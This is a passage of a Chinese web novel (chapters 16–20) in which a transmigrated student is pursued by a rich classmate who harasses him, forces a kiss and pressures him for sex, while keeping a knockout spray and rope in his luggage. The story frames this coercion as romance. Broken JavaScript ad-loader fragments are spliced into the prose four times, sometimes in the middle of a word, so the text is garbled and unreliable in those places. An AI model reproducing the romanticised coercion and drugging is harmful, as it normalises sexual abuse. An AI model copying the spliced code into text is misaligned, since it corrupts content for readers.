原主身为赵云月的舔狗,自然是冲锋陷阵站在第一个,被抓花了脸,又在宴会结束陪着赵云月收拾残局的时候,情难自控地贴了贴她的嘴唇,恰好就被赶来的李炎诞和崔嘉树瞧见,被抓了回去...... 后果是因为肛/裂住了一周医院。 江林尝试阻止过,但赵云月不信他,在他询问他男友情况的时候,赵云月笑着说自己没有男友。 “小星,好巧啊。”温柔含笑的男声在他头顶响起,都不需要抬头,江林就知道是那个姓崔的倒霉鬼。 江林没搭理他,默念了两遍“regu (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' lation,regulation......” 崔嘉树一向没有边界感,他直接拿走了江林的手机,江林不得不正视这个崽种。 “晚上好,嘉树哥。”江林脸上憋出一个勉强的笑容。 崔嘉树坐在他前面,按灭他的手机推过去,他今天穿了一套黑色的西装,颇为隆重重视,桃花眼弯了弯:“我知道你喜欢这个女孩儿,所以在她给我邀请函的时候,特意过来给她撑场面,哥对你没话说吧。” “嗯。”江林敷衍的哼了一声,喝了一口摆放在面前的蓝色果汁,一股蓝莓味儿,眉梢微动,吐出吸管,嫌弃地撇嘴。 崔嘉树见他蹙在一起的眉头,将自己面前那杯粉红色的果汁推到江林面前,“不好喝?试试这个?” 他自来熟,仿佛多体贴照顾江林似的。 江林没看他,倒是又咬住白色的吸管,喝了一口,桃子味的,香香甜甜的,明显比前面那杯好吃。 这时他就看见崔嘉树端走了他刚刚喝过的蓝莓汁,含住他刚刚咬过的吸管,江林似乎都看见他的舌头故意卷住了吸管头舔了舔。 崔嘉树直勾勾看着他,在大庭广众之下,作出一些色/情的暗示。 江林脸瞬间冷了下来,一张俊秀漂亮的脸,因为生得年少,唇红齿白,眉眼间稚嫩,未经风霜更多的是一种昳丽和美丽。 他冷下脸来,又多了几分冷淡和戾气。 “小炎知道我马上要回宿舍难道没有采取任何的行动吗?”崔嘉树倒是觉得蓝莓汁不错,喝了两口,挑眉看向他。 他可是故意给了李炎诞暗示和时间的。 “你在说什么?炎哥能做什么?他不是和你一样的变态。”江林低声道,乌黑的睫毛微微垂下,扇形阴影落在眼睑,衬得肌肤越发白皙。 他言语中对李炎诞的维护让崔嘉树觉得有些荒谬和不喜,撑着下巴盯着他看,压低声音道:“你是不是忘记了李炎诞曾经是怎么欺负你的?这么快就被收买了啊。” 崔嘉树有些不满李炎诞这个孬种,居然什么都没做,浪费他给的机会和时间。 江林抿了抿唇,不说话了,冷若冰霜的脸也看得崔嘉树心痒,像是某种没有攻击性的小动物,就算伸出爪子,也只能挠痒痒,不能造成任何的伤害。 “今晚李炎诞有家庭聚会,寝室里只有我们两个人,你期待吗?”崔嘉树饶有兴趣地说道。 江林脸颊紧绷,“你今晚就回寝室?” “嗯哼,行李都搬进去了。”崔嘉树伸手想要触碰江林微微扇动的乌色长睫,但不意外被江林躲开了。 江林不管是装的还是真心的,都不愿意和这个同性恋疯狗打交道,心脏微微悬起,看向崔嘉树的眼神充满了厌恶。 崔嘉树享受着他的眼神,他这人就喜欢吃一些强扭的瓜,脸上绽放着温柔的笑容:“我觉得我们会度过一个火热的夜晚。” 江林沉默不语,似乎在想对策。 “除非你舍得花钱住酒店,但你应该知道金海市最大的连锁酒店,老板姓崔吧。”崔嘉树一点点打碎他的退路。 “而且......宝贝躲得了今晚,难道能躲一辈子吗?”他语气极尽温和,视线却越发滚烫了。 江林心中无语这套天龙人赶尽杀绝的做法,脸上还要摆出愤恨之色。 17.第17章 崔嘉树说得对,江林没有别的选择,他不可能退学离开这个城市,而且就算离开了金海市,也不一定躲得过。不管作出什么选择,他们都能逼着他作出违心的决定。 江林单方面僵持冷战之际,走上前一位西装革履的商务男性,他眼角的细纹微深,脸上带着儒雅的笑容,语气却极为恭敬:“小崔总,没想到能在这里碰见您啊。” 崔嘉树微微颔首,礼貌地握手微笑,寒暄道:“何总,这么久不见还是这么意气风发。” 江林听见他的称呼,眉梢微动,何卫东,是赵云月的现男友,也是在这场风波中美美隐身的渣男。 “这位是我朋友,孟南星。”崔嘉树不忘给两人互相介绍,“小星,这位茂源集团的总经理,何卫东。” 江林眉头拧紧,对于何卫东伸出来的手掌熟视无睹,目光凌厉地扫过两人,崔嘉树笑着打圆场:“我朋友脾气不好,何总不要介意。” 何卫东皮笑肉不笑地说不介意,望向江林的眼神却幽深晦暗。 他原本没想来参加赵云月的生日会的,但听下属说崔嘉树会来,便下班之后赶了过来,赵云月不过是他闲暇之余养的玩意儿,何卫东并不在意。 崔嘉树和何卫东闲聊了两句,何卫东便被人叫住,他皱着眉似乎不想走,但是不得不走。 “看你的表情,应该是知道赵云月当了破坏家庭的第三者咯。”崔嘉树洞若观火,合理猜测,又吸了一口蓝莓汁。 江林叉了一块巧克力舒芙蕾,自顾自地填饱肚子,两腮仿佛小松鼠似的,嚼了嚼咽下,问:“你让他来的?” “不是,他没那个面子。”崔嘉树撑着下巴看着他,两人距离隔得并不远,他伸手就能捏住江林的脸颊。 “赵同学不是什么好人。”崔嘉树捅破这层玻璃纸,浅棕色的眸子盯着江林漂亮的脸,语重心长地说道:“她选择何卫东,心思就不单纯,所有的结果就应该是她承受的。” “何卫东隐瞒自己已婚的事实,难道就对吗?最应该受人唾弃的不应该是他吗?小月如果知道他有妻子,根本不会和他在一起。”江林讨厌崔嘉树这套高高在上的受害者有罪论。 “一开始赵同学难道不是冲着何卫东的钱?”崔嘉树看着他义愤填膺的模样,像个炸毛的小猫,唇角微微勾起。 “那咋了?”江林坚持说:“喜欢钱是什么天理不容的事情吗?” “哦,忘记了,你盲目地爱着赵同学。”崔嘉树语气含笑,以看戏地姿态懒散地开口:“但是赵同学宁愿选择一个糟老头,也不喜欢你呢。” “不用你管!”江林梗着脖子说道。 两人争论的声音很快被前头的喧闹掩盖,江林向吵闹处看去,便见来势汹汹的女人,带着一群黑衣保镖。 他起身就要往外走,崔嘉树抓住他的手腕,用力握住,江林低头看向他,崔嘉树笑着提醒他:“何卫东的老婆不是善茬,你去也是挨打的份。” 江林沉着脸扔开他的手,依旧是那句话,“跟你没关系。” 崔嘉树歪头望向那道黑色的背影,坚定又清瘦,像他们这样的人,很少会有人明知道这是一场吃亏的买卖还去做。 而江林像是很蠢,明明那个女生只是吊着他,把他当成备胎,但还是义无反顾地守在她身边。 这股纯情和坚持让崔嘉树眼神有些探究和疑惑,他观察过赵云月长相不算突出,身世也不好,性格更是肤浅的心机,实在不懂江林喜欢她哪里? 毫无理由地偏爱,真的让人心动呢。 江林脚步很快,看着对峙上的两人,赵云月精致的妆容出现一丝皲裂,在何夫人拿出两人的结婚照后,狼狈之色无处遁形,所有人看赵云月的眼神也发生了变化。 似有若无地打量和鄙夷,眼神成了生命不可承受之重,几乎压弯了她的脊梁,呼吸都像是骤然被剥夺,眼前精致的美妇人,看向她的眼神像是在瞧什么脏东西。 “没想到南大的学生这么不要脸,争着抢着当小三,你们学校的脸都被你丢光了。”何夫人祁恋冷笑道。 “我没有,我真的不知道他结婚了......”赵云月白着脸解释,浑身温度都在流失。 “你不知道?他年纪这么大,快四十了,你用脑子好好想想,怎么可能没有老婆?”何夫人随手将旁边的酒往她身上泼去,白色的裙子眼看着就要被酒水弄脏。 赵云月下意识地往后躲,抬手挡住脸,但是来的太快,她穿着高跟鞋躲闪不及,预想到的酒水并没有落在她身上,她睁开一看,眼前站着的少年极为高大熟悉。 是......江林。 江林脸颊两侧都被溅上了红酒,卫衣从衣襟开始,完全被打湿,咬牙挡在赵云月面前,严格扮演着忠实的追求者。 “小星......”赵云月瞬间热泪盈眶,刚刚都没有掉下来的眼泪,刷刷往外淌,她抓住江林的手臂,想要将他保护在身后。 “等下,何夫人,您先冷静一下,我刚刚在这里看见了何卫东何总。我觉得你是不是可以找他问个清楚。如果不是何总主动,小月怎么会搭上何总的线?”江林按住赵云月的手,精致的五官丝毫不减锋利,眼神也不显软弱,尽管眼前有黑压压的保镖,他并不是对手。 “何卫东在这里,不就代表了,这个小狐狸精勾引别人老公的事实实锤了吗?”祁恋眯了眯眼,朝着身旁的保镖使了个眼色。她不管是谁主动,她只是要杀鸡儆猴,让以后那些意图勾搭上何卫东的小婊/子一点颜色瞧瞧。 江林被黑衣保镖拉住手臂,他反手挣开,依旧激动地在据理力争:“何夫人不能这么不讲理,明明您的老公才是罪魁祸首......” 原本没有一个人为赵云月出头,大家都默认了赵云月是小三,但现在江林站出来,还是以如此坚定的姿态,便有一些心软、明白事理的小姑娘站出来,“也许云月根本都不知道他有老婆呢,诡计多端的男人总是有很多手段哄人的......” 赵云月扒拉开那些人的手,不让江林受伤,厉声说道:“我不知道他现在是已婚状态,他和我说离婚了,还给我看了离婚证书,我不是小三,我也没想过当小三......” 何夫人皱了皱眉,没想到事情比想象的要难缠。这么多人在,她也断不可能承认自己错怪了人。 并且何卫东出轨赵云月是事实。 何夫人抬手抓着赵云月的头发,给了她一巴掌,江林见着了,立刻推开保镖冲上前,没有和何夫人动手,但死死护住赵云月。 江林感觉脸上一疼,挨了一下。 “啧,够了。”看戏的崔嘉树在看见江林脸上挨了一下后,坐不住了,出声阻止了这场闹剧。众人让开一条通道,崔嘉树像是某个排场极大的老大,缓缓从人群中走来。 江林不得不承认,某些时候权势真的很好用。 比如说现在,原本不将所有人看在眼里的何夫人,在发现说话人是崔嘉树后,脸上的戾气都消散了两分,只觉得事情越发棘手了。 而赵云月请的学校众人,也是倒吸一口凉气, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他们刚刚都没看见崔嘉树,是根本没想到崔嘉树和赵云月关系这么好。 “何夫人,这两位是我朋友。”崔嘉树慢条斯理地说着,指尖还夹着一支刚点的烟,轻轻看向某处,依旧是笑着的:“何总,这些家务事是不是该你本人出场更好解决呢?” 何卫东铁青着脸从人群中走出来,狠狠瞪了一眼何夫人,何夫人也毫不示弱地看过去,只有赵云月和江林两个挨打的小可怜还抱在一起。 剧情中的原主就保护着赵云月挨了一顿打。 “过来。”崔嘉树看了一眼江林,对着他挑了挑眉。 赵云月浑身都在发抖,抓紧了江林的手臂,像是救命稻草似的。 江林垂下眼,搂着赵云月往崔嘉树身边靠拢。 崔嘉树扫了一眼两人交缠在一起的胳膊,笑意淡了两分:“你们要抱到什么时候?” “小月现在站不稳。”江林低声道。 “松手。”崔嘉树眼底笑意彻底褪去。 赵云月敏锐地察觉到气氛不对,眼泪汪汪地看了一眼冷下脸的崔嘉树,又抬头瞧了一眼下颌线紧绷的江林,主动推开他:“没事的,小星,我没事,对不起......” 江林也绷着脸,还在安慰她:“没事儿,这不能怪你。” 其实以江林的性格多一事不如少一事,他根本不会去管赵云月的事儿,但没办法,系统这个定时炸弹时时都在提醒他,保持人设,遵循剧情。 做戏就要做全套,将这个“直男仇富”人设进行到底。 崔嘉树懒得看两人腻歪的眼神,看向何卫东,唇角扬起笑:“何总,这清官难断家务事儿,您身为当事人,可得好好说说,这事情到底是怎么回事呢?” 何卫东只觉得丢脸,像这种出轨包小三的事情,对于他们这些有钱人来说,是再正常不过的事情,但摆在明面上来看,真的很丢脸。 他又被崔嘉树架在这里,不得不解决,真的是打碎了牙往肚里吞。 “老婆,这事儿是我不对,是我骗了小女生,你......”何卫东艰难地说道,几乎咬牙切齿。 他在颜面扫地和得罪崔嘉树二选一中,选择了颜面扫地,不得罪崔嘉树。 要脸还是要钱,显然他更看重钱。 何夫人脸色也很难看,低声骂了一句:“不要脸的老东西!” “好啦,事情解决了,何夫人是不是该跟我两个朋友道个歉?现在是法治社会,不分青红皂白地打人,可是要进局子的。”崔嘉树像个刚正不阿的公道人。 两夫妻被压着道歉和赔偿,最后忍气吞声地离开餐厅。 崔嘉树踩灭了烟,掀起眼帘看了一眼赵云月,语气淡淡:“剩下的事情能自己解决了吗?” 赵云月情绪已经逐渐稳定,搓了搓泛冷的手臂,点了点头:“谢谢您,后面的事情我来处理。” 崔嘉树看向卫衣都湿漉漉的江林,他正白着脸站在原地,双手握拳,看向他的眼神依旧警惕又厌恶。 “你跟我走。”崔嘉树朝着他扬了扬下巴。 江林像个木头桩子般不动,闷闷道:“我自己可以打车回去。” “我现在可以一个电话让那傻逼两口子回来信不信?”崔嘉树耐心耗尽,眯着眼看向他。 江林:...... 他忍气吞声地跟在崔嘉树身后走了,他低着头,白皙的后颈露出一截暗色的红绳,那唇角的倔强缓缓变成了淡淡的笑,藏在刘海下的双眼也不再愤愤不满,变成了游刃有余的淡然。 18.第18章 江林身上难闻的酒味刺鼻,胸口湿漉漉贴着肉,给人一种阴湿冰冷的感觉,那冷风一吹,越发显得寒冷。 啧,不会这次逞强又要感冒吧? 他真的不想继续生病了,头重脚轻的感觉太难受。 崔嘉树的大G停在外面,司机已经在车里等候,他的脸色不太好,看着狼狈垂着脑袋走神的少年,被气笑了。 他的确喜欢抢别人的东西,强取豪夺的快感让人着迷,但他不喜欢江林这种木鱼脑袋,像是不管怎么抢,怎么对他好,都不能改变他一心喜欢女人的死脑筋。 他想要一个人自然是身体和心都要。 江林刚坐下,一只手捏住他的下颌,强迫他仰起脸来,崔嘉树视线掠过他左脸的划痕,两道不轻不重的红痕,是长指甲留下的伤痕,他伸手碰了碰:“挨打了吧。” “你好像不逞强会死。” 江林抿了抿唇,唇线绷得极为平直,他是想开口回怼的,但想到刚刚崔嘉树帮的忙,便咬牙忍了下来。 崔嘉树脸色稍缓,满意江林的识相,最少不像没有脑子的笨猪,最少是知道知恩图报的。 江林其实没感觉脸上的伤有多疼,他虽然挨了一下,但也保护了自己,避开了大部分的力道,只是脸上肌肤比较敏感,倒是留下了不浅的痕迹。 男人的手指轻轻摩挲着他的脸颊,语气有些低落,似乎很伤心他的受伤,“是不是很疼?” “不疼。”江林挣了挣,挣脱他的钳制,“明天就会恢复原样了。” “今天谢谢你。”江林支支吾吾地道谢。 “嗯,如果不是因为你,就算赵云月被打死在我面前,我也不会看一眼的。”崔嘉树直白地说着,就是要让江林领他的情,他偏头望着他,又抬起他的下巴,凑近他的脸。 江林按住他的肩膀,脸色大变,堪称惊恐:“就算......你帮了我......们,你也不能这样!” 崔嘉树顺着他的脸颊,摩挲至耳垂,捏了一下他的耳垂,又收回手,笑着说道:“听小炎说,前几天你感冒了?” “嗯......”江林双手环抱住自己,然后发觉卫衣太湿,又松了手,瓮声瓮气地回答。 “要不要把衣服换掉?”崔嘉树提议道。 江林脑袋摇得像拨浪鼓似的,坚持说:“不要,不要,这里离学校不远,你让司机开快一点,十分钟就到了。” “好,小军,开快一点。”崔嘉树也不为难他,不紧不慢,温水煮青蛙。 两人一前一后回到宿舍,江林第一时间从阳台拿着浴巾和睡衣去了浴室,浑身都是黏糊糊的,热水冲洗全身后才感觉四肢都温暖起来,被温暖包裹的感觉让他忍不住生出一声喟叹。 崔嘉树没有敲门,也没有夺门而入,而是打量着这个宿舍,清点了一下自己的日用品,崭新的床单,逼仄的小床甚至睡不下两个成年男人。 他从出生起,就从未睡过这么小的床。 江林穿着毛绒睡衣,寝室开着空调,并不冷,头发用发帽包裹着,红绳又缠在他白皙的脖颈上。崔嘉树自来熟地走到他身边,将人逼到角落,手指一挑拿出红绳,上面坠着的观音牌,雪白的皮肉被热水烫得粉红。 “这块玉蛮好的。”崔嘉树温和地说道,江林微微扬起脖子,两人距离算近,目光相撞,江林眼神有些冷淡。 “你到底想干什么?”江林手上还抱着浴巾,嘴唇饱满湿润,语气有些无奈了。 “我这么帮你和你的心上人,你是不是该给我一点报酬?”崔嘉树盯着他圆润清澈的双眼,扯着红绳让他朝着自己靠近。 江林凑近两分,两人彼此间的呼吸都能感受几分,他身上清醒的沐浴乳香味,带着淡淡的水汽,像是熟透爆汁的水蜜桃。 “上次亲你一嘴,你扇我一巴掌,今天还会这样吗?”崔嘉树低声问,手指擦过他的唇,将唇擦得更加殷红,江林下意识地抿了抿,含住了他的拇指。 少年眉梢蹙起,似乎很不满。 “为什么要拒绝我呢?”崔嘉树收回手,按了按他的唇角,语气温和含着笑,“你应该知道,我能给你想要的一切。” “钱,一份体面的工作,或者是女人?男人?我都可以给你。” “听说你还在秦锐清家里做家教,何必这么累啊,只需要躺着就能把钱挣了,多好啊。” 男人啊,最喜欢做得两件事情,一件逼良为娼,一件救风尘。 江林抓住他的手腕,用了些力气把人拉开,眼神十分不解和恶心,“男人和男人......想想就很恶心,拉屎的地方,啧......” 他似乎难以启齿,但话里的厌恶昭然若揭。 崔嘉树知道很多人对男同性恋的看法很差,被江林这么挑明嫌弃还真是......听着让人很不爽啊。 “我不愿意被人戳屁股,也不喜欢当搅屎棍,所以您高抬贵手呢?”江林真诚地提议道,静静地看着崔嘉树,眼底此刻没有一点愤怒之色。 似乎已经知道,对于崔嘉树来说,愤怒并不能有任何的作用。 “你没试过,怎么知道不喜欢?”崔嘉树唇角的笑意有些僵硬,浅棕的瞳孔微深,越发危险的神情,“试一次,不喜欢,我保证不再烦你。” “不要,你说的话在我这里没有任何的信誉度。”江林绕开他,坐回自己位置上,从抽屉里拿出吹风机。 他打开干发帽,轻轻搓了搓头发,崔嘉树顺着他的手指给他擦头发,声音从头顶传来来:“但是你躲不开啊,宝贝。” 江林不置可否,任由他给自己擦头发。 崔嘉树拿过吹风机,手指穿过江林的柔软的发丝,湿发穿过指尖,指腹被沁湿,久违的香味又在撩拨着他的嗅觉,暖风夹杂着香味,让他浑身都发热了。 江林耳根被吹风的暖气染红,轻轻摸了摸脖子上的湿痕,垂着睫毛,整个人显得有些乖顺柔软,桌上的手机出现震动。 他拿起手机,里面是赵云月给他发的微信。 【今天真的谢谢你,谢谢你愿意相信我。】 【明天有时间吗?我请你吃饭。】 江林犹豫了一瞬,耳边吹风机的声音就停下来了,男声在他耳边响起:“你敢去,我打断她的腿。” “你......有病啊。”江林翻个白眼。 崔嘉树掌住他的侧脸,将他的脸板过来和他对视,笑眯眯地说道:“你可以暂时不同意我的求爱,但不能和赵云月搞在一起。” 崔嘉树真的没信 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心,如果赵云月突然回头是岸,决定和江林在一起,江林这个死脑筋一定对她死心塌地。 他这次真的没信心啊,所以不敢赌。 江林收起手机,拧着眉,“你真有病,崔嘉树,我和你有关系吗?” “可以有关系的。”崔嘉树在他脸颊上亲了一口。 江林狠狠擦了一下,似乎被逼得没办法,故意凶恶地说道:“你要和我试,是想自己当搅屎棍,还是让我来当搅屎棍。” 崔嘉树一点也不喜欢搅屎棍这个称谓,听起来真的蛮恶心的。 但江林就是要故意恶心他。 “当然是我上你。”崔嘉树理所当然地说道,摸摸江林受伤的脸,轻声道:“放心,我一定会让你爱上......” “不行。”江林坚决且冷酷地说道:“我才不想成为老了之后在敬老院因为包不住屎而被扇耳光的老头子。” 崔嘉树嘴角抽搐,脸上微笑得面具都要绷不住了,眉眼间的虚假温柔也淡了两分,“难不成你还想上我?” “不行吗?我比你少了什么东西吗?”江林嘴角勾起玩味的笑,双眼闪烁着狡黠之色,甚至主动地伸手摸了一下他的脸:“嘉树哥,你也知道我身体不好,你舍得我受这种苦吗?” 崔嘉树很想说他非常舍得,舍得得不得了。 但是也知道泡男人,需要一些花言巧语。 虽然他从没有想过有一天自己会处于下置位。 根本不可能好吗? 谁敢上他? 不怕死吗? 崔嘉树的情绪瞬间起伏,眼神落在那张精致顽劣的少年脸上时,又莫名地觉得江林就敢。 他在江林的目光下,紧张地咽了咽口水,才重新扬起笑脸,捏了捏他的脸:“我当然舍不得你受苦......但这种事情不是口头上说一说而已,所以你现在是答应和我试试咯?” “嘉树哥手眼通天,您想要和我‘玩游戏’,我拒绝不了啊,如果哥能达到我喜欢的标准,我愿意陪您试试的。”江林想要暂时稳住这个神经病,说话也软乎乎的。 “达到你喜欢的标准?”崔嘉树轻嗤一声,自然看穿了他的小伎俩:“你玩我呢?” “你把我当成李炎诞那个蠢蛋了?” “李炎诞可比你可爱多了。”江林淡淡的评价:“他可没有你这么弯弯肠子。” 崔嘉树想说什么狡辩,但江林截住了他的话,脸上笑容消失:“随便你答不答应,反正我不喜欢你,这个游戏也是你单方面强迫我参与的。我没钱没势,你完全可以不答应。” 江林沉静的黑眸望着他,原本含笑的唇角瞬间变得冰冷,一字一句地说道:“你甚至今晚就可以强/奸我,但我绝对会弄死你。” 他的眼神冷冽又认真,不像在说笑。 崔嘉树笑容收敛,两人对视了几秒钟,他轻轻舔了舔唇,江林此刻眉眼间顷刻间爆发出来的野性,带着致命的吸引。 这样不痛不痒的威胁,对于崔嘉树来说真的像个笑话,但看见江林认真的冷冽的神情,却忍不住让人仔细思索他话中的可能。 江林面对围剿和困境没有更好的应对策略,拙略的对策让他说的话显得有些天真,但又带着一点吸引人的倔劲儿。 19.第19章 宿舍的装潢是原木色调,中间放着一个四方桌,宽敞的宿舍环境,若是和普通大学的宿舍相比,南大算顶尖水平了。 两人对峙的神色在明亮的灯光下无处遁形,江林心间难以抑制地有些焦灼,毕竟他现在根本没有什么资本和崔嘉树谈条件。 那些投机取巧的话,本质上还是在迎合崔嘉树。 这种无力感江林很讨厌,讨厌得要命,连带崔嘉树也变成了他心中厌恶值超越李炎诞的存在。 崔嘉树缓缓眯起眼,凌乱微湿的发尖被他捏在指腹,他缓缓将遮住江林鬓角的发丝撩到他耳后,露出粉红的耳根,脸上带上了点亲昵的神情:“小星不用这么严肃,如果你不愿意,我怎么会强迫你呢。” 但事实是他箱子里现在存放着byt、绳子、还有一喷即晕的“好眠”喷雾。 崔嘉树的确想和江林进行一个火热的夜晚,可现在江林的状态却更吸引他,不得不承认甜美的少年确实可口,但是桀骜的野马更能挑起男人的征服欲。 江林冷淡地扯了扯唇角,顺着他的话道:“嘉树哥,您是最体贴的那个人。” “嗯。”崔嘉树摸了摸他的脸,问:“有没有药?脸上给你上点药。” “不用,再不上药都要愈合了。”江林实在不觉得这有什么大惊小怪,真的不疼,主要是不想和崔嘉树腻歪在一起。 崔嘉树似乎也没有真的想要关心他的伤势,按住他的后颈,凑到他唇边,声音越发低沉:“即然小星也想试试,那么先从接吻开始吧。” 江林放松了些抵触的力道,看着崔嘉树那张还算俊美的脸,虽满脸不愿,但最少没有再扇崔嘉树巴掌。 知道逃不过这一劫,江林试图谈条件:“十秒钟行不行?我怕我不会缺氧。” 崔嘉树啼笑皆非,轻哼一声:“放心,缺不了,而且接吻这种事情,和男性还是女性没有差别了吧,都是两片唇,一条舌头,你可以把我当成女人。” 江林无语地翻了个白眼,躲开他冒着热气的呼吸,“你如果一定要这么说,倒也没错。” 崔嘉树吻上去前,还问了一嘴:“李炎诞亲过了嘛?” 江林忍无可忍对着他肩膀就是一记重拳,将人锤整个人都往后仰了仰,但抓着他的手力道半点没松,两人不出意外地吻在一起。 崔嘉树看起来像个身经百战的老变态流氓,但的的确确是第二次接吻,第一次也是和江林,因为感觉很好,所以恋恋不忘还想再来一次。 而江林却不是第一次,曾经有过任务,需要他和某些男女扮演情侣,接过吻,所以毫无波动,像是在完成任务似的,一动不动,敷衍都懒得敷衍。 崔嘉树捧着他的脸,鼻息之间全部都是江林身上的清新味道,仿佛深陷某个棉花糖里面,让人忍不住下陷、坠落,毫无反抗的能力。 江林感觉自己的下唇被崔嘉树含住,正在轻轻地吸吮着,犹如在沙漠中即将渴死的冒险者,用力地、疯狂地、渴望地汲取着水分。 崔嘉树眼微微睁开一条缝隙,便瞧见江林紧锁的眉头,像有化不开愁云,委屈的、被逼着、逃脱不开的,被动地承受着他的亲吻,但是好香啊,他的嘴唇好软,他轻轻咬了一口,顷刻间便被江林回咬了一下。 他从鼻尖哼出一声笑意,含住他的唇,轻轻用舌尖舔了舔他的嘴唇和齿列,不再满足这样的浅尝辄止,他拉开一些距离,两人的嘴唇变得极润,像是被唇膏润色了一番,贴着他的嘴唇说:“宝宝,你的舌头伸出来好不好?” 回应他的是一巴掌,江林毫不客气地将他的脸扇开,脸颊绯红,刚刚死死憋住的气息,在此刻狠狠吸着气,瞪着崔嘉树,骂了一句:“滚!滚远点啊!” 接吻的时候,荷尔蒙飙升,会产生脸红心跳的感觉,崔嘉树陷入了这种满足中,抓着他的手,笑眯眯地问道:“接吻舒服吗?” 江林察觉到崔嘉树故作成熟的笑脸,紧张且青涩地问话,明明紧张得手心全是汗,却还在轻佻地调戏他。 江林注定不会给他想要的回答,甩开他的手,一眨不眨地盯着他,眉头嫌弃地蹙起,冷笑道:“舒服?只会觉得恶心吧,只要想到是一个和我一样的男人在舔我的唇,在吃我的口水,我就无法控制地想要作呕。” 崔嘉树肉眼可见的笑容凝固了,像是突然被冰封住了,在冬日里被人淋头泼了一盆冷水,那一刻他心中生出了极大的戾气,想要把江林的舌头割下来,让他再也不能说出话。 但多年来的修养,让他很快调整了情绪,甚至对想要驯服江林的想法更坚定了。 崔嘉树吻了吻江林的手指,眼神温柔:“以后你会喜欢的。” “不喜欢以后还要一直忍受我,会很难过的。” 江林呼出一口浊气,用湿纸巾擦了擦嘴,“有时候真的很想报警,告你性骚扰。” 崔嘉树笑了笑,“你随时可以这样。” 江林懒得管他,坐在自己的位置上,戴上耳机,开始听英语听力,眼不见为净,两个小时,一个眼神都没扔给崔嘉树。 崔嘉树也没去骚扰他,整理了一下东西,心中无数次臭骂这里环境的简陋,但还是老实地去洗澡,在江林的塑料桶里发现了他的白色内裤,只露出一角,藏在黑色卫衣里面。 崔嘉树喉结上下滚动了一下,抬头看向江林,他正戴着耳机,侧脸柔和,在台灯下泛着柔软的光芒,犹如圣洁的天使。 他轻手轻脚地把江林的内裤从桶子里拿出来,其实没有任何的痕迹,干干净净的,崔嘉树却莫名地心跳加速,想干什么,又被自己内心仅存的自尊和道德约束,布料被抓在手上揉了揉,便将自己的和江林的一起洗干净了。 崔嘉树从前可从来没干这种事情,内裤第二次穿的可能都没有,这次还欲盖弥彰地把自己的内裤洗了,就是为了给江林洗。 等江林做完一套英语试题后,准备洗漱上床睡觉,从桶子里找短裤洗,才发现自己的短裤水灵灵地挂在阳台上。 崔嘉树住在下铺,他懒得爬,正双腿交叠地玩游戏,余光却在偷偷地看江林,见他呆在原地,心跳都骤停了。 啧,这真的很荒唐,他干嘛要做这种事情,好奇怪啊。 江林内心也非常地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 复杂,像这种贴身衣服,算是隐私,平时被别人看见都会觉得难为情,现在......崔嘉树大概是给他手洗了...... 不是,崔嘉树是不是有什么怪癖啊,喜欢帮人洗内裤? 江林眼皮抽搐了一瞬,败下阵来,半点不想去探究这个原因,内心默默想到,下次要买个保险柜,把内裤锁起来。 好吧,他也没钱买保险柜。 老实了。 已老实的江林沉默地洗脸刷牙,熄灯睡觉,没有给悬着心脏的崔嘉树半点反应。 崔嘉树:? 不是吧,江林这都没发现? 还好,还好没发现。 崔嘉树回来的第一晚,是江林到了这个世界后,唯一没睡好的一晚,梦里他的白色内裤惨白着脸喊救命,它被崔嘉树挟持了。 梦里的江林无能为力,只能看着小白被揉拧。 江林顶着黑眼圈去晨跑,崔嘉树像个阴魂不散的鬼,跟在他身后。 江林把他当成空气,耳边传来崔嘉树自来熟的交谈声:“没想到小星这么自律,真的很棒呢。” 江林知道自己很棒,不需要他的肯定。 他几圈跑完,撑着膝盖喘气,一个踉跄差点被没注意前面的同学撞到,崔嘉树抓着他的手腕,将人拉近怀里。 “别碰我。”江林条件反射的推开他,崔家属无辜的看着他,给他递了一瓶水:“没必要对我这么应激吧,我什么都没做,先喝口水。” 江林接过水,往运动场外走,灌了一口水,把十块钱一瓶的矿泉水扔进了垃圾桶,像是对待崔嘉树的态度。 崔嘉树跟在他身后,没再主动凑上前。 江林买着早餐回宿舍,消失了一夜的李炎诞也回到了宿舍,手上拿着一个打包盒,在看见江林和崔嘉树一前一后走进来的时候,脸上表情有些微妙:“你们什么时候关系这么好了?” 崔嘉树笑眯眯地举起一杯没怎么喝的豆浆,笑着道:“我和小星的关系一直都很好啊。” 李炎诞看向没什么好脸色的江林,心下一沉,将打包盒里全新的甜点不动声色地扔进了垃圾桶里,生怕崔嘉树看出一点端倪。 “小炎,吃早餐了嘛?哥这里还有两个烧麦。”崔嘉树吃了一口就吃不下了,不知道江林怎么面不改色地吃下去的。 “不用了。”李炎诞拒绝了。 三人陷入了意料之中的沉默中,江林休息了一会儿,收拾毛巾进了浴室。 然后崔嘉树在李炎诞惊恐的目光中试图打开了浴室的玻璃门。 “等下,你干什么?!”李炎诞感觉这一晚发生了很多他不知道的事情。 崔嘉树站在门口,听见里面锁门的声音,故意暧昧地眨了眨眼,像是恍然间才发现李炎诞也在这里,“没干什么,只是把小星的内裤拿出来洗掉,他的脸上昨天受伤了。” 李炎诞:? 这个世界是不是颠了,脸受伤了和洗内裤有什么半毛钱关系吗? 江林差点拿着马桶栓冲出去和崔嘉树决一死战,这件事到底有什么值得拿出来说的?! 20.第20章 江林擦了擦满是雾气的窗户,下面走道间有铲雪车正在清扫地面,一夜之间下起了雪,刚刚在运动场上跑步的时候,就发现脚下融化的雪,混杂着雨水沁湿了跑道。 天气也比往日更冷,江林面色冷静地搓了搓身上的泡沫,大雪落下,眼见着就要期末寒假了,期末成绩出来之后就能开始申请转专业的事情了。 江林推开门,李炎诞正低着头在抽烟,崔嘉树则在衣柜里找衣服,两人视线朝着他看过来,先是对上江林的眼睛,又欲盖弥彰地看向他胸前的观音玉牌。 默默地静默在三人之中发酵,谁都没预料到在寝室碰面是这种僵局。 崔嘉树最先打破僵局,笑着道:“小星,我们今天只有下午有课吧?” 